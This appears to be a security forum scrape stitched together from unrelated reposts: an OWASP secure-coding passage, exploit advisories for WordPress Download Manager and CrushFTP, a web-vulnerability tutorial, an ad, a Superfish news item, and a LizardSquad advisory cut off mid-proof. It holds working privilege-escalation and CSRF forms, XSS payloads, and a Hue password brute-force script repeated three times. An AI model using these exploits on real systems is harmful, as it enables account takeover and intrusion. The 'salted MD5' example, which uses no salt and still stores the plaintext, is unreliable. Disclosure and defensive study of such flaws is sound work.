or have something. It is to be noted again that authentication is not equivalent to authorization. Many developers have a tough time handling authorization, and at some point leave a gap that gets exploited, leading to unauthorized data access. To solve this problem, access control or authorization checks should always be centralized. All user requests to access some page or database or any information should pass through the central access control check only. Access control checks should not be implemented at different locations in different application codes. If at any point in time you have to modify an access control check, then you will have to change it at multiple locations, which is not feasible for large applications. Access control should by default deny all requests which are from a user for a resource for which either access is restricted or an authorized entry has not been made. Layered Authorization Checks should be implemented. It means that the user’s request should be checked for authorization in layered manner instead of a haphazard manner. Below is an example: User requests “/protected” file access. Is user logged-in? Is user normal user or privileged user? Is user allowed access to the resource? Is resource marked as locked? f the access control check at any point in 1-5 fails, then the user will be denied access to the requested resource. OWASP Access Control Cheat Sheet can prove to be good resource for implementing access control in an application. ESTABLISH IDENTITY AND AUTHENTICATION CONTROLS Authentication is the process by which it is verified that someone is who they claim to be, or we can say it is the process of identifying individuals. Authentication is performed by entering username or password or any sensitive information. Authentication and identity are two components of accessing any kind of information that goes hand-in-hand. For example, if you want to access your bank account details or perform a transaction, you need to login into your bank account website. Successfully authenticating to your bank account proves that you are the owner of that account. From this discussion, it is clear that username and password are the elements of authentication that prove your identity. OWASP ProActive: Establish Identity and Authentication Controls says that all the modules of an application which are related to authentication and identity management should have proper security in place and secure all sensitive information. Also, an application should request for and store only the information which is absolutely needed, and nothing else. Sensitive information like password and account number should be either stored in encrypted or hashed format inside a database, so that it cannot be misused by a malicious user if he or she gains unauthorized access and decrypts it easily. Below is an example of an application that stores the user’s password in plaintext inside a MySQL database. String username=request.getParameter("username"); String password=request.getParameter("password"); PreparedStatement ps = (PreparedStatement) con.prepareStatement("insert into login_users values(?,?)"); ps.setString(1,username); ps.setString(2,password); Here the password is stored in plain text. If the database is compromised at the same time, the attacker will be able to access the user account easily. The attacker will be able to login to the user’s account using the username and password from the database, which is stored in plain text. But this vulnerability can be exploited by converting sensitive information into a hashed format, like in salted MD5 or SHA2 hash format or in encrypted form. Here is an example of hashing sensitive information before storing it in a SQL database: String username=request.getParameter("username"); String password=request.getParameter("password"); MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(),0,s.length()); String calc_hash = new BigInteger(1,m.digest()).toString(16); if(calc_hash.length()<32) { calc_hash = "0"+calc_hash; } PreparedStatement ps = (PreparedStatement) con.prepareStatement("insert into login_users values(?,?,?)"); ps.setString(1,username); ps.setString(2,password); ps.setString(3,calc_hash); The above code shows that here sensitive information (i.e. password) is stored in a salted MD5 format. The salt is different for every new registration. If the database is compromised, then the attacker will have to find clear text for the hashed passwords, or else it will be of no use. Broken Session Management is also a type of vulnerability which exists in a web application that does not properly implement session management. For example, if a user logs out from his/her account, but he/she is redirected to some page, but session is not invalidated properly, a post-login page is opened without asking for re-authentication. Another example can be a session cookie for pre- and post-login being same. Vulnerable code: String username = request.getParameter("username"); String password = request.getParameter("password"); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) { session.setAttribute("useracc", rs.getString("username")); out.println("Login success"); } else { out.println("Login failed"); } Observe in the above code that the session cookie JSESSIONID remains the same for pre- and post-login. This vulnerability can be exploited by an attacker who has physical access to the machine and notes the value of session cookie pre-authentication. This attack is known as Session Fixation. This patched code will invalidate the session when authentication is successful and creates a new session cookie value. This changes the post-login session cookie value, and Session Fixation vulnerability cannot be exploited. String username=request.getParameter(“username”); String password=request.getParameter(“password”); PreparedStatement ps=(PreparedStatement) con.prepareStatement("select * from users where username=? and password=? limit 0,1"); ps.setString(1,username); ps.setString(2,password); ResultSet rs=ps.executeQuery(); if(rs.next()) { session.invalidate(); request.getSession(true); session.setAttribute("useracc", rs.getString("username")); out.println("Login success"); } else { out.println("Login failed"); } The session cookie value should never be predictable, and should comply with strong complexity for better security. Authentication and secure storage is not just limited to the username-password module of an application. Other key modules like forgot password and change password are also part of authentication. Financial data and personal information like SSN are some of the most important details a person is concerned with, so an application storing that data should make sure it is encrypted securely. OWASP has some key resources like: Authentication Cheat Sheet Session Management Cheat Sheet In this part of OWASP ProActive Controls, we discussed in depth how ProActive Controls 1-5 can be used in an application as a secure coding practice to safeguard it from well-known attacks. The controls discussed do not modify application development lifecycle, but ensure that application security is given the same priority as other tasks and can be carried out easily by developers. We will see the last 5 ProActive Controls in the next and final part. Reference: https://www.owasp.org/index.php/OWASP_Proactive_Controls Source
  10. # Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation # Date: 24-11-2014 # Software Link: https://wordpress.org/plugins/download-manager/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9260 1. Description Every registered user can update every WordPress options using basic_settings() function. function basic_settings() { if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') { foreach ($_POST as $optn => $optv) { update_option($optn, $optv); } if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form'); die('Settings Saved Successfully'); } include('settings/basic.php'); } http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html 2. Proof of Concept Login as standard user (created using wp-login.php?action=register) then: <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings"> <input type="hidden" name="task" value="wdm_save_settings"> <input type="hidden" name="section" value="basic"> <input type="hidden" name="default_role" value="administrator"> <input type="submit" value="Hack!"> </form> After that create new user using wp-login.php?action=register. Newly created user will have admin privileges. 3. Solution: Update to version 2.7.3 Source
  11. Product Description Video compression for all formats VideoCompressor supports almost all currently used video formats and keeps the same format as the input file. Easy handling Users of VideoCompressor don’t need to read any manuals or to have any previous knowledge. Simply download it and let’s get started. Fast compression In comparison to software VideoCompressor can process even big video files within record times. Compress videos easily! Intuitive usage VideoCompressor provides a very attractive appearance but also a very easy graphical user interface to operate. Users don’t need to have any previous knowledge about how to compress videos or to read any manuals. Add easily videos VideoCompressor provides adding video files by Drag&Drop videos directly into the user interface. Supporting a wide range of video formats VideoCompressor supports most current video formats, as FLV, WMV, SWF, MPEG, MP4, 3GP, M4V, AVI, MKV, MOV, F4V, RM. Compact user interface The graphical user interface of VideoCompressor is designed to support almost all currently used display resolutions. Fast compression of big video data VideoCompressor operates also with big video files (more than 1GB) faster than other video compression programs. Manual adjustment of the output file size Users could easily set the output file size manually by moving a slider. This corresponds mostly with the real file size of the compressed video. Providing many languages VideoCompressor provides currently the German and English languages. Other languages will be perpetually added, so the user could download it through the integrated update manager. Competent support team You could contact our support team through the contact form at any time to clarify your matter. Our expert team will help you with pleasure. -> Download <-Deal Expires in: EXPIRED!
  12. Lenovo has teamed up with Microsoft and McAfee to remove the Superfish adware from its machines, following concerns about security. Lenovo announced the partnerships in a public statement, promising that the tools will let users automatically block and remove the insecure, self-signing certificates used by Superfish. "We are working with McAfee and Microsoft to have the Superfish software and certificate quarantined or removed using their industry-leading tools and technologies," the firm said. "These actions have already started and will automatically fix the vulnerability even for users who are not currently aware of the problem." The Microsoft removal tool will be integrated into Windows Defender version 1.193.444.0. The tools are the latest step in Lenovo's bid to allay customer concerns that the firm put personal data at risk. The problem erupted on the Lenovo forum earlier in February when several customers reported finding Superfish installed on their machines. Superfish is adware that collects data such as web traffic information using fake, self-signed root certificates and then uses it to push advertisements to the user. Lenovo claims that the adware is installed on only a limited number of machines and does not affect its business-focused Thinkpad line. "We ordered Superfish preloads to stop and had server connections shut down in January based on user complaints about the experience," read the statement. "While this issue in no way impacts our ThinkPads, any tablets, desktops or smartphones, or any enterprise server or storage device, we recognise that all Lenovo customers need to be informed." Lenovo apologised for causing concern, but argued that the company never knowingly compromised its customers' privacy. "We apologise for causing these concerns among our users. We are learning from this experience and will use it to improve what we do and how we do it in the future," read the statement. "Superfish technology is purely based on contextual/image and not behavioural. It does not profile or monitor user behavior. It does not record user information. It does not know who the user is. Users are not tracked nor re-targeted." Lenovo is one of many firms dealing with privacy and security concerns. Researchers at FireEye reported on 20 February that Apple had ignored a dangerous flaw in the iOS operating system, codenamed Masque Attack II. Source
  13. ======================================================== I. Overview ======================================================== Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows an attacker to gain control over valid user accounts, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more. ======================================================== II. Severity ======================================================== Rating: Medium Remote: Yes Authentication Require: Yes ======================================================== III. Vendor's Description of Application ======================================================== CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users. 'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream, or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate the transfer of many types of files. Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device. Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI. CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically protect you against DDoS attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage. This keeps your server secure from unwanted abuse. User management includes inheritance, groups, and virtual file systems. If you want simple user management, it can be as easy as just making a folder with a specific name and nothing else. Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration. http://www.crushftp.com/index.html ======================================================== IV. Vulnerability Details & Exploit ======================================================== 1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config) a) An attacker may add/delete/modify user's accounts May change all configuration settings Request Method: POST Location: /WebInterface/fuction/ Proof of Concept:- <html> <body> <form action="http://127.0.0.1:8080/WebInterface/function/" method="POST"> <input type="hidden" name="command" value="setUserItem" /> <input type="hidden" name="data&&95;action" value="new" /> <input type="hidden" name="serverGroup" value="MainUsers" /> <input type="hidden" name="username" value="Hacker" /> <input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" /> <input type="hidden" name="xmlItem" value="user" /> <input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" /> <input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2) Multiple Cross-Site Scripting (Web Interface - Default Config) Type: Reflected Request Method: POST Location: /WebInterface/function/ Parameter: vfs_items Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD"> Proof of Concept: POST /WebInterface/function/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html Content-Length: 656 Cookie: XXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E Type: Reflected Request Method: GET Location: /WebInterface/function/ Parameter: path Values: <script>alert(1)<%2fscript> path=%<script>alert(1)<%2fscript> GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:8080/ Cookie: XXXXXXXXXXXXXXXXXXXXXXXX Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ======================================================== VI. Affected Systems ======================================================== Software: Crushftp (Web Interface) Version: 7.2.0 Build : 147 < 7.3 Configuration: Default ======================================================== VII. Vendor Response/Solution ======================================================== Vendor Contacted : 02/12/2015 Vendor Response : 02/12/2015 Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml ======================================================== VIII. Credits ======================================================== Discovered by Rehan Ahmed knight_rehan@hotmail.com Source
  14. Introduction In this last part of the Website Hacking series, we are going to list 18 common web vulnerabilities and flaws and we are going to briefly provide solutions to them. Some of them are described for the first time in the Website Hacking series and some we have discussed before but in greater depth. 1. Saving all user input If you are using a framework, for example, a PHP framework, you might be tempted to save all user input to your model or database since it has already been validated and escaped. Let us say that you are using CakePHP and have included a registration form using CakePHP’s Form helper. SNIPPET 1 Now, you might be tempted to save all data from CakePHP’s $this->request->data array/method as is if you do not read the docs carefully or view some of the examples provided there (the live blog site). SNIPPET 2 You just save all data and thank the framework creators. However, there are at least two things you did wrong: $this->request->data does not contain escaped/sanitized input, just the input from the superglobals. Firstly, you should use CakePHP’s h() function to prevent people inserting tags in their username: like this h($this->request->data) However, this is not enough and a wrong approach. If you save all user input in your Model (database) the user can add new input tags directly in his browser and try to guess some columns in your users table for which you have not provided an input in the website’s form. For example, many CakePHP’s applications have “role” column set to user/admin or something similar (it is used in the docs as well). The user can just open his Developer Tools, find the registration form or right click and select Inspect Element, click on Edit as HTML and add a new input like this: <input name=”data[user][role]” type=”text”> <input name=” [user][role]” type=”text”> Or whatever the current way for forms to interact with your Models is, guess column names and insert values to them. One way to solve this is to change your column that defines user’s roles and permissions name to something unpredictable. However, that is not the safest approach you can take. You can either insert the data into the database manually, which will ensure no extra columns will be saved: SNIPPET 3 Or alternatively, you could still save all user data but set explicitly the values of columns not found in the form: SNIPPET 4 2. Allowing user access to assets Many sites work with user input and user data and store this data. Clients can see where their assets are stored, so there is no need for them to guess. For example, a client could see that the images he uploaded were stored in /uploads/{username} because the images he uploaded were loaded to the page from that directory, so if he knows some usernames of different people he could just change the directory name to another user and browse through all of his data without having to brute-force directory names. The first way to tackle this issue that we discussed before is not enough (adding Options All –Indexes to the .htaccess file).It would prevent users from browsing directories and opening whatever they want but they would still know the directory exists and they can still guess directory names because the server will return a 403 Forbidden (which shows something exists in that path). Furthermore, they could guess file names from some patterns that the file names follow and open them. Therefore, you need to block access to the files in your uploads directory. If you are storing text files (let us say users can keep notes and view/edit them whenever they want) you could add to your .htaccess the following rule: RewriteEngine On RewriteRule ^uploads/.*.(txt|doc)$ – [F,L,NC] The F flag would return a 403 Forbidden response, the L flag causes the next rules to stop being processed, and the NC eliminates case-sensitivity. Figure 1: The page with only directory listing disabled. Figure 2: The page with only directory listing disabled. You cannot browse directories, but if each user has a notes.txt file, you can easily view user’s notes by knowing only their username. Figure 3: Trying to access the notes with both directory listing and controlled access to files. If you use the rewrite rule to disable users from browsing other users notes, your back-end would still be able to access the notes, show them to users or edit them. For example: SNIPPET 5 Where the $user variable would come from a session in a real-world application. 3. Running basic WordPress installation Common mistakes here are not limiting the login attempts on your wp-admin page. This would allow anyone to brute-force your credentials and destroy your blog/site. This becomes even easier because most people create their master username to be ‘admin’ which involves only brute-forcing the password to get full access to the WP website. Another mistake is that the wp-admin login page is left without a form of CAPTCHA or a protection against bots. This combined with no limitation of login attempts equals certain death of your online presence at some point in the future. You could avoid all 3 of these things and also change the default wp-admin path to be something different as well (obfuscation). 4. Relying too much on IP addresses while having weak bot protection Most ISPs provide dynamic IP addresses, and the IP address you have banned or stored may already be obsolete in less than a day. Furthermore, it is often not very difficult to change your IP address – use a proxy, release it from the router or from the OS, change locations. There are myriad ways to do it. To prevent bots from causing undesired consequences, it would be better to use alternative ways – enhance your CAPTCHAs, add inputs only bots will fill out, require JavaScript/cookies enabled to submit a form, and so on. 5. Improper redirects Let us say that you have a redirect page or a GET value (for simplicity’s sake) that redirects users to another page of your site or to another website. However, if you forget to disallow redirects to third-party websites or in case you allow those, if you do not create a warning page before redirecting that will tell the user where they are going and that they are leaving the site – users can easily abuse your site by giving links that seem to be pointing to your site but will redirect users to malicious websites. if (isset($_GET['redirect'])) { header("Location: " . $_GET['redirect']); } If we have something as simple as this, then users can easily get fooled to enter bad sites by following an URL like this: http://localhost:8079/articles/Website%20Hacking%20Part%20VII/?redirect=http://www.somemalicioussitehere.com 6. Cross Site Request Forgery If your site allows users to add comments/posts and insert tags such as <img> and load a third-party image, they can provide a link that is not an image but will fool the clients’ browsers (the users that will be reading them) to load the resource and perform an action on a website if they are authenticated in it. For example, if Facebook was sufficed with a couple of GET parameters or a particular URL to follow someone/something on their network, we could have added an image like that: my image And if the user is currently logged in he would have followed an arbitrary person. Of course, this would not work in this particular situation. 7. Insecure file handling A common mistake is to trust that a file does not contain something inappropriate. Code can be disguised as an image, so checking the file extension is not enough. At the very least, the MIME type should also be checked. Also, ASCII / text files should be escaped. Here is an example of such a vulnerability: SNIPPET 6 The vulnerability arises when at some point we display the contents of the .txt file in our page: SNIPPET 7 If the file we submit contains the following code: <script> alert(document.cookie); </script> Then all user cookies for that website will be shown in an alert. 8. Displaying and trusting HTTP headers These can be modified by users and can be malicious. For example, if you display the client’s User-Agent header, it might be changed to consist of code which would then be executed in your back-end. This is also valid for the referrer header, so it should not be used to determine whether the user can access a particular page by itself (for example, checking if the referfer is the login page and assuming the user has logged in successfully since he was redirected to the members area’s index page from the login page). 9. Information disclosure Your live apps should not be in debug mode. Errors should not be shown. 10. Directory traversal If you are using some parameter that opens different files on your website based on user input, your back-end should escape special characters such as the . (dot) or / (slash) from the input and preferably use whitelisting. 11. Using HTTP for semi-confidential data A common flaw is using HTTP for sites that include mechanisms such as registration/login. Even widely used online marketplaces in Bulgaria use simple HTTP (such as OLX.bg - ???? ?? ????????? ????? ). Using HTTP makes it easy for potential attackers in your network to sniff your traffic and get your credentials with no real efforts. For example, if you login to olx while in a Wi-Fi, you are subject to risk. 13. Sessions can be stolen Sessions can be stolen, making the attacker login as someone else. There are multiple vectors of defense here – such as checking the IP address, the user agent, and regenerating session, and adding cookies. 14. Be careful which third-party libraries, CDNs and plugins you use They might be simply outdated, opening a wide variety of security holes, or they might be malicious – giving access to the shady library’s creator to your server. 15. Bots are everywhere Take care of malicious bots not by banning their IP but by enhancing CAPTCHA, adding hidden form fields that users would not fill, and requiring JavaScript or cookies enabled to submit a form. 16. Use HTTP only cookies This would reduce the impact of some other attacks – such as XSS 17. Hashing Hash your passwords and try to avoid md5 or sha-1 algorithms (https://community.qualys.com/blogs/securitylabs/2014/09/09/sha1-deprecation-what-you-need-to-know, hash - Why does some popular software still use md5? - Information Security Stack Exchange ). Use salts to prevent attacks with rainbow tables. 18. XSS Always escape input unless you really, really trust the source (admin panel). You can either remove tags or display them as entities depending on your needs. | PHP: strip_tags($input, $allowedTags); htmlspecialchars($input, ENT_QUOTES); htmlentities($input); | 19. SQL Injection Use prepared statements or do not perform a query which is not hardcoded without sanitizing it (PHP: PDO class or sanitize with mysqli_real_escape_string($conn, $str) if using mysqli. Do not use mysql_*). Conclusion This was the last part of the Website Hacking series. We have introduced some new vulnerabilities and briefly discussed them and have summarized our points for everything that we have talked about so far. We hope that now you will feel more confident when deploying your web apps by putting these strategies in use. Source
  15. Hadoop User Experience password cracking script. Written in Python. #!/usr/bin/python import sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "User-Agent" : ua } post = { "username" : user, "password" : password } r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post) invalid = r.text.find("Invalid") if invalid == -1: print "\nSuccess! " + user + ":" + password print "Completed test at ", print datetime.datetime.now() sys.exit() else: print "...." print "Attack unsuccessful...Completed at ", Source
  16. The term “Big Data” has been flinging around quite a lot lately. It is in the news all the time. We hear about how much it has pushed us into the future and into the internet of things. These things all will produce useful data that will need to be analyzed and stored. One technology that we hear more and more about is Hadoop. Hadoop was birthed as an open source project from the Google filesystem (GFS), and Map Reduce white-papers; the creator is Doug Cutting and the open source community. Map reduce is the core of Hadoop, and allows the user to write very simple programs to distribute workload across a complex amount of data. The Google filesystem inspired the majority of the work for the open source Hadoop filesystem (HDFS). HDFS is a redundant filesystem written in Java that distributes data across multiple machines that can be analyzed using Map reduce programming. That is just a brief dive into what Hadoop is, and if you want to learn more I highly recommend you take a gander at the Yahoo Hadoop tutorial. Here is an ecosystem filled with projects that make managing this complex monster easier on administrator’s and developer’s. One of these projects that I really enjoy is Hue, the Hadoop User Experience. It gives a web interface for the user to query their data using some of these projects that live in this big data ecosystem like: Hive Pig Oozie Impala Each of these tools sits in front of a plethora of data that the user is analyzing. This data can be anything from a company’s customer generated data that tells a music service what song to play next, to another company trying to figure out which ads to serve you based on your browsing history. My point being — Hue has access to some seriously valuable information. As with most technologies, security is often an after-thought. It is important we test the security of these applications so that we can protect my data and your data from the evil-doers who will sell the same information or use it for awful things. Perhaps a criminal can use pilfered data about you to create malware that you will more easily fall prey to. The reason that I have picked Hue as an example of a much larger conversation is because it is pretty, and it does cool things. Hue has a standard user management system that allows the administrator to grant access to certain accounts. Lets crack some Hue accounts! Of course in this article I’m using a Virtual Machine and not testing on live systems in the wild. That would be highly unethical…but the point of this is to help others remember that not all people out there are ethical, and to “scare” people into taking preventive measures to thwart attacks — much like children stories about being good or the boogie man will get you. So, I decided to test the limits and see how easy it would be to crack into a Hue account using old school methods of brute-forcing. As a standard bad practice people use the username ‘admin’ as the default administrative user for their systems. Shall we see if we can crack a user account. ~$ ./hute.py .... .... .... .... .... .... .... .... .... .... .... Success! admin:admin Completed attack at 2014-09-30 16:19:55.113608 Here is the source code for those who care and would like to test their own systems using the same methods in this proof of concept. #!/usr/bin/python import sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "User-Agent" : ua } post = { "username" : user, "password" : password } r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post) invalid = r.text.find("Invalid") if invalid == -1: print "\nSuccess! " + user + ":" + password print "Completed test at ", print datetime.datetime.now() sys.exit() else: print "...." print "Attack unsuccessful...Completed at ", print datetime.datetime.now() What next, how do we stop the attacks? At the time of this writing it would seem that Hue does not have a mechanism for two-factor authentication, although there are libraries out there for two factor auth within django. What we can do is protect Hue with some iptables magic. We can use iptables’ recent module to keep an eye out for shady traffic and to act on that traffic: $ iptables -I INPUT -p tcp --dport 8888 -m state --state NEW -m recent --name hue-firewall --update --seconds 30 --hitcount 10 -j DROP ~$ iptables -I INPUT -p tcp --dport 8888 -m state --state NEW -m recent --name hue-firewall --set Above when we have more than 10 immediate hits we will drop the incoming traffic for 30 seconds, thus thwarting any effective bruteforce attempt. It is not full-proof, but definitely going to put a dent in most bruteforce attacks on Hue. The point of this article is to not shame Hue by any means, but to shine light on security in this emerging space. Unfortunately the issue of bruteforce is an age old concern. The developers and systems administrators would like to blame the users themselves for choosing such awful passphrases. We can shuffle this around all we want, but only a few lines of code to save the user from hanging themselves — which is the job of the developer. These security lessons have been learned time and time again Source
  17. Hadoop User Experience password cracking script. Written in Python. #!/usr/bin/pythonimport sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "User-Agent" : ua } post = { "username" : user, "password" : password } r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post) invalid = r.text.find("Invalid") if invalid == -1: print "\nSuccess! " + user + ":" + password print "Completed test at ", print datetime.datetime.now() sys.exit() else: print "...." print "Attack unsuccessful...Completed at ", Source
  18. Document Title: =============== LizardSquad DDoS Stresser - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1417 http://magazine.vulnerability-db.com/?q=articles/2015/01/20/lizardsquad-ddos-stresser-multiple-vulnerabilities-revealed-takeover-ddos# Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1417 Common Vulnerability Scoring System: ==================================== 8.9 Product & Service Introduction: =============================== The product, called Lizard Stresser is a stress tester that might let you see how your own network stands up to DDoS attacks, like the ones that interrupted the gaming networks for several days last week. DDoS attacks basically overload servers with massive amounts of bogus requests. (Copy of the Homepage: https://lizardstresser.su/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official LizardSquad DDoS Stresser online-service web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== LizardSquad Product: DDoS Stresser - Web Application (Online-Service) 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple web vulnerabilities has been discovered in the official LizardSquad `Stresser DDoS Service` web-application. 1.1 The 1st vulnerability is located in `username` value of the registration module. A user can register a script code as payload to the name values. The ddos web-service of the input on registration uses the wrong conditions to encode and parse. Thus allows to execute the injected script code in the `./ref` module of the service. The request method to inject is POST and the vulnerability is located on the application-side of the ddos stresser service. The main administrators are able to see the user passwords, by watching the logs of an compromised server you see that they can switch by login in through the registered user accounts. This is possible because of plain transfered passwords in the ddos application. The known event can be used to prepare malicious code that executes function in connection with application-side injected script codes. The vulnerable file to inject the code is the register.php file. Another execution of the injected script code occurs in the main dashboard (left sidebar) were the username is getting visible. Vulnerable Module(s): [+] Registration (./ref) Vulnerable Parameter(s): [+] username Affected Module(s): [+] Dashboard (Username in Left Sidebar) 1.2 The 2nd vulnerability is located in the Ticket Title & Ticket Content input fields of the `Tickets` (tickets) module. A fresh registered user account is able to inject own malicious persistent script code to the ticket input fields to exploit a backend administrator account. After an attacker registers and inject own script code to the ticket system he is able to get the ip of the backend users or can compromise the session data of moderators/administrators. The inject occurs in the `./tickets` module. The execution takes place locally in the listed open ticket items of the backend. Remote attackers are also able to access other tickets and stored information by intercepting the session of the add Ticket POST method request. Vulnerable Module(s): [+] Tickets (./tickets) Vulnerable Parameter(s): [+] name (servername) 1.3 The 3rd vulnerability is located in the target server `name` value. The attacker uses the device or servername to send malicious data to the ddos application control panel. A remote attacker can change the server or device name value to a script code payload that executes in the panel (server target list). The service syncs the the device/server name value after the infection but also if the attacker syncs the data manually. In case of usage macOS to attack it is possible to change the servername easily to a malicious script code payload that affects the ddos control panel. Vulnerable Module(s): [+] server list Vulnerable Parameter(s): [+] name (servername) 1.4 The 4th vulnerability is located in the `dasboard > user settings > change password` module. The data in the POST method to change the own account password is send in plain-text. Thus allows remote attackers and network administors to capture compromised accounts. The service can also be observed by man-in-the-middle attacks in the local network. Vulnerable Module(s): [+] dasboard > user settings > change password 1.5 The 5th vulnerability is also located in the `dasboard > user settings > change password` module. The POST method request of the change function in the ddos application can be intercepted by attackers to compromise the service. The remote attacker logs in as user and intercepts the session information by changing to an existing user account. Successul exploitation of the session tampering issues results in account system compromise (administrators/customers). Vulnerable Module(s): [+] dasboard > user settings > change password Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= 1.1 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/usercp Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://lizardstresser.su/usercp] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: cpassword[chaos666] npassword[http%3A%2F 